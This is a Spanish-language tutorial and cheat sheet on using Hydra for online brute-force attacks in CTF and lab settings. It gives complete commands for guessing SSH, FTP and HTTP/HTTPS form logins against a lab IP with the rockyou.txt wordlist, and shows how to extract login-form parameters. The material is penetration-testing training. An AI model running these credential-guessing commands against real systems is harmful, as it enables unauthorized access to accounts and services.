Hydra es la herramienta de referencia para ataques de fuerza bruta en línea. A diferencia de herramientas como John the Ripper o Hashcat —que trabajan contra hashes almacenados en un archivo (offline)—, Hydra ataca servicios en ejecución: envía combinaciones de usuario y contraseña directamente contra SSH, FTP, formularios web y decenas de protocolos más, analizando la respuesta para determinar si ha tenido éxito.
Si ya tienes identificado un servicio de autenticación y una wordlist, Hydra es el paso natural.
Sintaxis general
hydra [opciones de usuario] [opciones de contraseña] [IP o URL] [servicio] [opciones extra]Parámetros esenciales
| Parámetro | Descripción |
|---|---|
-l <usuario> | Un único nombre de usuario conocido |
-L <archivo> | Lista de usuarios (wordlist) |
-p <contraseña> | Una única contraseña a probar |
-P <archivo> | Lista de contraseñas (ej. rockyou.txt) |
-t <n> | Número de hilos paralelos (por defecto: 16) |
-s <puerto> | Puerto no estándar |
-vV | Modo verbose: muestra cada intento en tiempo real |
-f | Para en cuanto encuentra la primera credencial válida |
SSH
El protocolo SSH gestiona el acceso remoto seguro. Corre en el puerto 22 por defecto.
hydra -l molly -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5Si el servidor SSH usa un puerto distinto:
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://10.10.10.5En entornos de laboratorio con muchas conexiones simultáneas, reduce los hilos a
-t 4si obtienes errores de conexión intermitentes.
FTP
FTP gestiona la transferencia de archivos. Corre en el puerto 21 por defecto.
hydra -l usuario -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.5Igual que con SSH, si el servicio FTP es lento o tiene límites de conexión, reduce hilos:
hydra -l usuario -P /usr/share/wordlists/rockyou.txt -t 4 ftp://10.10.10.5Formularios web (HTTP POST)
Esta es la parte más compleja y la más frecuente en CTFs. Para atacar un formulario de login web, Hydra necesita tres cosas:
- La URL del endpoint de login (ej.
/login.php) - Los parámetros del cuerpo de la petición POST
- El mensaje de error que aparece cuando las credenciales son incorrectas
Cómo obtener esa información
- Abre las Developer Tools (F12) en el navegador → pestaña Network.
- Intenta loguearte con credenciales falsas.
- Busca la petición POST generada y copia el Request Payload (cuerpo de la petición).
- Identifica en la página el texto que aparece cuando fallas (ej.
"Username or password invalid").
Sintaxis del módulo http-post-form
El argumento es una cadena dividida en tres partes separadas por ::
"<url>:<cuerpo_peticion>:<mensaje_fallo>"Hydra sustituye ^USER^ y ^PASS^ en cada intento. El prefijo F= le indica que esa cadena señala fallo (si la encuentra en la respuesta, el intento fue incorrecto; si no la encuentra, asume éxito).
Comando completo:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.5 http-post-form \
"/login.php:username=^USER^&password=^PASS^&Login=Login:F=Username or password invalid"Desglose:
| Fragmento | Significado |
|---|---|
/login.php | Ruta donde se envían los datos del formulario |
username=^USER^&password=^PASS^&Login=Login | Parámetros POST con los marcadores de Hydra |
F=Username or password invalid | Si esta cadena aparece en la respuesta → intento fallido |
Si el servidor usa HTTPS
Sustituye el módulo por https-post-form:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.5 https-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid credentials"Otros protocolos soportados
Hydra no se limita a SSH, FTP y HTTP. Algunos de los más comunes en entornos reales y CTFs:
| Protocolo | Módulo Hydra | Puerto por defecto |
|---|---|---|
| SSH | ssh | 22 |
| FTP | ftp | 21 |
| HTTP POST | http-post-form | 80 |
| HTTPS POST | https-post-form | 443 |
| SMB | smb | 445 |
| RDP | rdp | 3389 |
| MySQL | mysql | 3306 |
| PostgreSQL | postgres | 5432 |
| Telnet | telnet | 23 |
| SNMP | snmp | 161 |
Para ver todos los módulos disponibles:
hydra -U http-post-form # Ayuda detallada del móduloWordlists: dónde encontrarlas
La wordlist más usada en CTFs es rockyou.txt, incluida en Kali Linux:
/usr/share/wordlists/rockyou.txtSi está comprimida:
gunzip /usr/share/wordlists/rockyou.gzPara nombres de usuario, SecLists ofrece listas específicas por contexto:
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txtCheatsheet rápida
# SSH — usuario conocido, wordlist de contraseñas
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5
# SSH — lista de usuarios y lista de contraseñas
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5
# FTP — reducir hilos para servidores lentos
hydra -l usuario -P /usr/share/wordlists/rockyou.txt -t 4 ftp://10.10.10.5
# FTP — puerto no estándar
hydra -l usuario -P /usr/share/wordlists/rockyou.txt -s 2121 ftp://10.10.10.5
# Web form (HTTP POST)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.5 http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
# Web form (HTTPS POST)
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.5 https-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
# Parar al primer éxito, verbose total
hydra -l admin -P rockyou.txt -f -vV ssh://10.10.10.5
# Ver ayuda de un módulo específico
hydra -U http-post-form